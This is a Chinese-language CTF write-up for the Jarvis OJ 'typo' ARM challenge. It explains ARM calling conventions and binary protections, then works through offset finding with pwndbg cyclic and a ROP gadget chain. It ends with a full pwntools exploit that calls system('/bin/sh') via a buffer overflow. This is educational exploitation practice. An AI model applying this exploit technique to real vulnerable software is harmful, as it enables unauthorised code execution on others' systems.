Pwn-10月15-简单了解异构pwn题
参照m4x大佬的博客简单地搭建了一下环境后,继续来练练手,简单了解一下异构binary调试,如arm,mips,环境搭建参照上一篇。
arm 的参数 1 ~ 4 分别保存到 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡, 返回值存放在 r0 中 。arm 的 pc 指针相当于 eip/rip, b/bl 等指令实现了跳转
Jarvis oj - typo
简单说一下步骤:先查看保护措施,可以发现没有栈溢出保护,运行程序有溢出点可以利用,然后可以找到溢出点位置,找到system函数,以及/bin/sh字符串的位置,然后拿到能够控制 r0寄存器
一. 查看保护措施
#checksec typo Arch: arm-32-little #32位小端序 arm架构程序 RELRO: Partial RELRO Stack: No canary found #无栈溢出保护 NX: NX enabled PIE: No PIE (0x8000)
顺便学习一下几种防护措施的意思:
参考链接:https://www.jianshu.com/p/6e528b33e37a
RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域,尽量减少可写的存储区域可使安全系数提高。GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术Relocation Read Only, 重定向只读,实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。
栈溢出检查,用Canary金丝雀值是否变化来检测,Canary found表示开启。金丝雀最早指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。这里是一种缓冲区溢出攻击缓解手段:启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux将cookie信息称为Canary。
** NX ** : No Execute,栈不可执行,也就是windows上的DEP。 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP就是用来弥补计算机对数据和代码混淆这一天然缺陷的。
PIE: position-independent executables, 位置无关的可执行文件,也就是常说的ASLR(Address space layout randomization) 地址随机化,程序每次启动基址都随机。
二. 分析程序
开始远程调试:
另一边使用
gdb-multiarch typo -q
进入pwndbg,并且使用target remote localhost:6788
连接程序:生成padding,输入后得到溢出信息
pwndbg> cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
三.确定溢出点
之前已经说过PC相当于EIP,RIP之类的指向下一条指令的寄存器,那么可以计算padding到PC寄存器的偏移量进而确定溢出点为0x62616165:
使用pwndbg的
cyclic -l
命令可以通过地址,字符串确定偏移量.
四.构造payload进行利用
默默标记M4x博文中的这句话
因为是静态链接, 所以 binary 中一定会有 system 函数 和 /bin/sh 字符串, 如果能找到溢出点, 很容易就能用 rop 来解决了
,学习一波姿势,构造rop chain
,通过ROPgadget可以找到我们需要的:可以用来传递 返回值的寄存器 r0那么接下来就是寻找system函数的地址,将其填入PC寄存器的位置,从而执行
system('/bin/sh')
IDA调试一波:
通过字符串查找或者交叉引用可以发现函数
sub_10BA8
不知道是不是ida7.0的原因,这里直接找到了system函数:
可以看到其执行命令的逻辑和地址:
接下来可以开始构造payload结构:
| padding | << 112*'a' | pop {r0,r4,pc} | << p32(0x20904) #gadget_addr | /bin/sh | << p32(0x6c384) #/bin/sh_addr | junk_data(r4) | << p32("anything") #r4填充 | system_addr(pc) | << p32(0x110b4) #system函数地址
溢出导致PC指向gadget_addr,然后执行命令pop出栈将"/bin/sh"赋值到r0寄存器,junk_data赋值到r4寄存器,system_addr赋值到PC寄存器。
五.攻破
写出exp:
#coding:utf-8 __Auther__ = "Yof3ng" from pwn import * io = process("./typo") print(io.recvuntil("quit\n")) io.send("\n") print(io.recvline()) print(io.recvline()) payload = 'a'*112 + p32(0x20904) + p32(0x6c384)*2 + p32(0x110b4) try: io.send(payload) io.sendline("echo xiaoyifeng") except: print("Error!") exit(0) if(io.recvuntil("xiaoyifeng")): print("getshell")
PWN真好玩!??